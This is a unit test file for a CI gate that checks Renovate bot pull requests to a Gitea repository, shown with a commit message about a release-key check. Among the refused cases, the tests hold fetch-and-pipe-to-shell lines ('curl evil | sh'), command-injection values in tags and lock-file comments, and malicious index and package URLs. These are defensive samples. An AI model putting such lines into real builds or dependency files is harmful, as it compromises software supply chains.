Files
Kamino/tests/scripts/test_check_bot_pr_diff.py
T
Defame1297andClaude Opus 5.5 0837cc387f
Build / build (pull_request) Successful in 15s
Gitea release key / check (pull_request) Successful in 9s
Lint / lint (pull_request) Successful in 51s
Molecule / molecule (pull_request) Canceled after 36s
ci(gitea): warn before the Gitea release key stops verifying releases
The gitea role accepts a release only when it carries a valid signature by
gitea_gpg_key_id or one of its subkeys, so an expired, revoked or replaced
Gitea release key makes every install and update fail closed, without
warning, on the day it happens.

scripts/check_gitea_release_key.py reads the pins from the role defaults,
fetches the release key into a throwaway keyring and only the .asc of the
pinned release (never the binary), and fails when the primary key or a
signing subkey expires within 60 days, is revoked or expired, or when a
signature in the .asc is not by a valid signing key of the pinned key. Its
docstring says what to do on a failure.

The Gitea release key workflow runs it weekly, by hand, and on pull requests
that change the role defaults or the check, so a gitea_version bump is
checked against the new release's signature. It runs in the ci image at the
pin of lint.yml; that image has gpgv but not gpg, so the job installs gpg and
gpg-agent from the Ubuntu archive per run instead of making the check an
image input. The tests that make keys skip without gpg, so the Lint job's
unittest run (no gpg) still covers the parsing and rendering tests.

The workflow pins the ci image, so it joins the pin consumers of
check_image_versions.py and check_bot_pr_diff.py: Renovate's pin follow-up
edits every workflow, and the bot-diff gate would otherwise refuse that pull
request. The new workflow and script are on the molecule selector's IGNORED
list, since no scenario reads them.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm
2026-11-22 07:29:31 +00:00

543 lines
20 KiB
Python

# SPDX-FileCopyrightText: Defame1297 and contributors
# SPDX-License-Identifier: GPL-3.0-or-later
"""Run with: python3 -m unittest discover -s tests/scripts"""
import os
import pathlib
import subprocess
import sys
import tempfile
import unittest
from unittest import mock
SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts"
sys.path.insert(0, str(SCRIPTS))
import check_bot_pr_diff as cbd
D1, D2 = "sha256:" + "a" * 64, "sha256:" + "b" * 64
FILES = {
"requirements-dev.txt": "# pins\nansible-core==2.19.14\nreuse==6.2.0\n",
"requirements.yml": "---\ncollections:\n - name: community.general\n version: 14.0.0\n",
".pre-commit-config.yaml": "repos:\n - repo: https://github.com/x/y\n rev: v1.0.0\n hooks:\n - id: y\n",
"images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n",
"images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n",
".gitea/workflows/image.yml": (
f"jobs:\n image:\n matrix:\n include:\n - name: ci\n"
f" version: 0.2.0\n job_image: ubuntu:24.04@{D1}\n"
" container:\n image: ${{ matrix.job_image }}\n"
" steps:\n - run: echo ok\n"
),
".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n",
".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n",
"renovate.json": "{}\n",
}
def run(cwd, *cmd):
return subprocess.run(
cmd,
cwd=cwd,
check=True,
capture_output=True,
text=True,
env={
**os.environ,
"GIT_CONFIG_GLOBAL": "/dev/null",
"GIT_CONFIG_SYSTEM": "/dev/null",
},
)
H1, H2 = "a" * 64, "b" * 64
class LockRuleTest(unittest.TestCase):
def test_a_regenerated_lock_is_allowed(self):
removed = [
"reuse==6.2.0 \\",
f" --hash=sha256:{H1} \\",
" # via -r requirements-dev.txt",
]
added = [
"reuse==6.3.0 \\",
f" --hash=sha256:{H2}",
" # via -r requirements-dev.txt",
"newdep==1.0 ; python_version >= '3.13' \\",
" # via reuse",
"# This file is autogenerated by pip-compile with Python 3.14",
]
self.assertIsNone(cbd.file_problem("requirements-dev.lock", removed, added))
def test_the_header_command_may_not_change(self):
old = "# pip-compile --generate-hashes --output-file=requirements-dev.lock requirements-dev.txt"
new = old.replace("--generate-hashes", "--index-url=https://evil/simple")
self.assertIsNotNone(cbd.file_problem("requirements-dev.lock", [old], [new]))
self.assertIsNone(cbd.file_problem("requirements-dev.lock", [old], [old]))
def test_refused_lock_lines(self):
for line in (
"evil @ https://evil.example/x.tgz",
"--index-url https://evil/simple",
"-e .",
"evil>=1.0",
"evil==1.0 ; $(curl evil)",
" --hash=md5:" + "a" * 32,
" --hash=sha256:" + "a" * 63,
"# via $(curl evil)",
"# see `evil`",
):
with self.subTest(line=line):
self.assertIsNotNone(
cbd.file_problem("requirements-dev.lock", [], [line])
)
class RuleTest(unittest.TestCase):
def problem(self, path, old, new):
return cbd.file_problem(path, [old], [new])
def test_allowed_edits(self):
cases = [
("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0"),
("requirements.yml", " version: 14.0.0", " version: 14.1.0"),
(
"extensions/molecule/requirements.yml",
" version: 14.0.0",
" version: 14.1.0",
),
(".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # frozen: v1.1.0",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
f"FROM ubuntu:24.10@{D2} AS os",
),
(
"images/ci/Dockerfile",
"RUN pip install uv==0.13.5 \\",
"RUN pip install uv==0.14.0 \\",
),
(
".gitea/workflows/image.yml",
" version: 0.2.0",
" version: 0.2.1",
),
(
".gitea/workflows/image.yml",
f" job_image: ubuntu:24.04@{D1}",
f" job_image: ubuntu:24.04@{D2}",
),
(
".gitea/workflows/lint.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}",
),
(
".gitea/workflows/molecule.yml",
f" git.rkdr.net/mortis/mol:0.1.0@{D1}",
f" git.rkdr.net/mortis/mol:0.1.1@{D2}",
),
(
".gitea/workflows/gitea-release-key.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}",
),
]
for path, old, new in cases:
self.assertIsNone(self.problem(path, old, new), (path, old, new))
def test_refused_edits(self):
cases = [
("requirements-dev.txt", "reuse==6.2.0", "evil==1.0"),
("requirements.yml", " version: 14.0.0", " version: '*'"),
(
"extensions/molecule/requirements.yml",
" version: 14.0.0",
" source: https://evil.example",
),
(
"requirements.yml",
" version: 14.0.0",
" source: https://evil.example",
),
(
"requirements.yml",
" - name: community.general",
" - name: evil.collection",
),
("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"),
(".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # frozen: v1.1.0 && evil",
),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # note",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
f"FROM evil:1@{D2} AS os",
),
("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"),
(
"images/ci/Dockerfile",
"RUN pip install uv==0.13.5",
"RUN pip install uv==0.14.0 evil",
),
(
".gitea/workflows/image.yml",
" - run: echo ok",
" - run: echo evil",
),
(
".gitea/workflows/image.yml",
" image: ${{ matrix.job_image }}",
f" image: ubuntu:24.04@{D1}",
),
(
".gitea/workflows/image.yml",
" image: ${{ matrix.job_image }}",
" image: evil",
),
(
".gitea/workflows/image.yml",
f" job_image: ubuntu:24.04@{D1}",
f" job_image: evil:1@{D1}",
),
(".gitea/workflows/lint.yml", "run: echo a", "run: echo b"),
(
".gitea/workflows/gitea-release-key.yml",
"run: echo a",
"run: echo b",
),
(
".gitea/workflows/lint.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/other:0.2.0@{D1}",
),
(
".gitea/workflows/lint.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}",
),
("renovate.json", "{}", '{"a": 1}'),
("roles/x/tasks/main.yml", "a", "b"),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
def test_job_image_lines_cannot_be_added_removed_or_moved(self):
path = ".gitea/workflows/image.yml"
line = f" job_image: ubuntu:24.04@{D1}"
for old, new in (
(line, ""),
(" version: 0.2.0", f" version: 0.2.0\n{line}"),
(" steps:", f" steps:\n{line}"),
):
self.assertIsNotNone(self.problem(path, old, new), (old, new))
self.assertIsNotNone(
self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"')
)
def test_tag_charset_is_restricted(self):
bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"]
for tag in bad_tags:
cases = [
(
".gitea/workflows/lint.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:{tag}@{D1}",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
f"FROM ubuntu:{tag}@{D1} AS os",
),
(
".gitea/workflows/image.yml",
f" job_image: ubuntu:24.04@{D1}",
f" job_image: ubuntu:{tag}@{D1}",
),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, tag))
def test_digest_may_not_be_dropped(self):
cases = [
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
"FROM ubuntu:latest AS os",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
"FROM ubuntu AS os",
),
(
"images/ci/Dockerfile",
"FROM ubuntu:24.04 AS os",
f"FROM ubuntu:24.04@{D1} AS os",
),
(
".gitea/workflows/image.yml",
f" job_image: ubuntu:24.04@{D1}",
" job_image: ubuntu:latest",
),
(
".gitea/workflows/image.yml",
" job_image: ubuntu:24.04",
f" job_image: ubuntu:24.04@{D1}",
),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
def test_version_lines_stay_in_place_and_rise(self):
v = " version: {}"
self.assertIsNone(
cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))])
)
self.assertIsNotNone(
cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))])
)
self.assertIsNotNone(
cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))])
)
self.assertIsNotNone(
cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))])
)
swapped = cbd.version_problem(
[(5, v.format("0.1.0")), (9, v.format("0.2.0"))],
[(5, v.format("0.2.0")), (9, v.format("0.1.0"))],
)
self.assertIsNotNone(swapped)
def test_unequal_line_counts_are_refused(self):
self.assertIsNotNone(
cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"])
)
self.assertIsNotNone(
cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], [])
)
def test_a_bump_of_the_real_zizmor_rev_line_is_allowed(self):
# The line as Renovate's git-tags lookup finds it in this repository's config.
config = (SCRIPTS.parent / ".pre-commit-config.yaml").read_text().splitlines()
repo = config.index(" - repo: https://github.com/zizmorcore/zizmor-pre-commit")
rev = config[repo + 1]
bumped = f" rev: {'f' * 40} # frozen: v99.0.0"
self.assertIsNone(cbd.file_problem(".pre-commit-config.yaml", [rev], [bumped]))
def test_patch_parser_keeps_dashed_content(self):
patch = "diff --git a/f b/f\n--- a/f\n+++ b/f\n@@ -1 +1 @@\n--- x\n+++ y\n\\ No newline at end of file\n"
self.assertEqual(cbd.parse_patch(patch), (["-- x"], ["++ y"]))
class RepoTest(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.TemporaryDirectory()
self.repo = pathlib.Path(self.tmp.name)
self.addCleanup(self.tmp.cleanup)
run(self.repo, "git", "init", "-q", "-b", "main")
run(self.repo, "git", "config", "user.email", "[email protected]")
run(self.repo, "git", "config", "user.name", "t")
for rel, text in FILES.items():
self.write(rel, text)
self.commit("base")
run(self.repo, "git", "checkout", "-q", "-b", "renovate/x")
def write(self, rel, text):
p = self.repo / rel
p.parent.mkdir(parents=True, exist_ok=True)
p.write_text(text)
def edit(self, rel, old, new):
self.write(rel, (self.repo / rel).read_text().replace(old, new))
def commit(self, msg):
run(self.repo, "git", "add", "-A")
run(self.repo, "git", "commit", "-q", "-m", msg)
def gate(self, head="renovate/x", base="main"):
proc = subprocess.run(
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base],
cwd=self.repo,
capture_output=True,
text=True,
check=False,
)
return proc.returncode, proc.stdout, proc.stderr
def test_a_nul_containing_file_is_refused(self):
self.write(
"requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0"
)
self.commit("bot")
code, _unused, err = self.gate()
self.assertEqual(code, 1, err)
self.assertIn("requirements-dev.txt", err)
def test_a_utf16_rewrite_is_refused(self):
text = (
(self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0")
)
(self.repo / "requirements-dev.txt").write_bytes(text.encode("utf-16"))
self.commit("bot")
code, _unused, err = self.gate()
self.assertEqual(code, 1, err)
self.assertEqual(len(err.strip().splitlines()), 1, err)
def test_a_diff_attribute_does_not_hide_a_change(self):
self.write(".gitattributes", "requirements-dev.txt -diff\n")
self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0")
self.commit("bot")
code, _unused, err = self.gate()
self.assertEqual(code, 1, err)
self.assertIn(".gitattributes", err)
def test_binary_and_one_sided_patches_are_refused(self):
entries = [("100644", "100644", "M", "requirements-dev.txt")]
for patch in (
"Binary files a/x and b/x differ\n",
"",
"@@ -1 +0,0 @@\n-reuse==6.2.0\n",
"@@ -0,0 +1 @@\n+reuse==6.3.0\n",
):
self.assertEqual(
len(cbd.check(entries, lambda path, text=patch: text)), 1, patch
)
def test_git_is_told_to_take_paths_literally(self):
seen = []
real = cbd.civ.git
def spy(*args, **kwargs):
seen.append(args)
return real(*args, **kwargs)
self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0")
self.commit("bot")
old_cwd = os.getcwd()
self.addCleanup(os.chdir, old_cwd)
os.chdir(self.repo)
with mock.patch.object(cbd.civ, "git", spy):
result = cbd.run(["check_bot_pr_diff.py", "renovate/x", "main"])
self.assertEqual(result[0], [])
patches = [args for args in seen if "-U0" in args]
self.assertTrue(patches)
self.assertTrue(
all(args[0] == "--literal-pathspecs" for args in patches), patches
)
self.assertTrue(
all(
"--text" in args and "--no-textconv" in args and "--no-ext-diff" in args
for args in patches
),
patches,
)
def test_empty_head_ref_on_a_pull_request_fails_closed(self):
self.write("roles/x/main.yml", "a\n")
self.commit("anything")
env = {**os.environ, "EVENT_NAME": "pull_request"}
proc = subprocess.run(
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"],
cwd=self.repo,
capture_output=True,
text=True,
check=False,
env=env,
)
self.assertEqual(proc.returncode, 1, proc.stderr)
self.assertIn("empty", proc.stderr)
self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr)
env["EVENT_NAME"] = "push"
proc = subprocess.run(
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"],
cwd=self.repo,
capture_output=True,
text=True,
check=False,
env=env,
)
self.assertEqual(proc.returncode, 0, proc.stderr)
def test_lowering_a_matrix_version_fails_and_raising_it_passes(self):
self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.1.9")
self.commit("lower")
code, _unused, err = self.gate()
self.assertEqual(code, 1, err)
self.assertIn("version", err)
run(self.repo, "git", "checkout", "-q", "main")
run(self.repo, "git", "checkout", "-q", "-b", "renovate/ok")
self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1")
self.commit("raise")
self.assertEqual(self.gate(head="renovate/ok")[0], 0)
def test_a_realistic_bot_pr_passes(self):
self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0")
self.edit(".pre-commit-config.yaml", "v1.0.0", "v1.1.0")
self.edit("images/ci/Dockerfile", "uv==0.13.5", "uv==0.14.0")
self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1")
self.edit(".gitea/workflows/molecule.yml", D1, D2)
self.commit("bot")
code, out, err = self.gate()
self.assertEqual(code, 0, err)
self.assertIn("5 file(s)", out)
def test_each_violation_gets_one_line(self):
self.edit(".gitea/workflows/lint.yml", "echo a", "echo b")
self.write("roles/x/main.yml", "a\n")
self.edit("renovate.json", "{}", '{"a":1}')
self.commit("bot")
code, _unused, err = self.gate()
self.assertEqual(code, 1)
lines = err.strip().splitlines()
self.assertEqual(len(lines), 3, err)
self.assertTrue(all(line.startswith("::error::") for line in lines))
def test_deleted_and_mode_changed_files_fail(self):
run(self.repo, "git", "rm", "-q", "requirements-dev.txt")
self.commit("bot")
self.assertEqual(self.gate()[0], 1)
run(self.repo, "git", "checkout", "-q", "main", "--", "requirements-dev.txt")
os.chmod(self.repo / "requirements-dev.txt", 0o755)
run(self.repo, "git", "add", "-A")
run(self.repo, "git", "commit", "-q", "-m", "mode")
self.assertEqual(self.gate()[0], 1)
def test_other_branches_are_skipped(self):
self.write("roles/x/main.yml", "a\n")
self.commit("human")
code, out, _unused = self.gate(head="feat/x")
self.assertEqual(code, 0)
self.assertIn("skipped", out)
def test_bad_input(self):
code, _unused, err = self.gate(base="--output=x")
self.assertEqual(code, 1)
self.assertNotIn("Traceback", err)
self.assertEqual(
subprocess.run(
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")],
cwd=self.repo,
capture_output=True,
text=True,
check=False,
).returncode,
2,
)
if __name__ == "__main__":
unittest.main()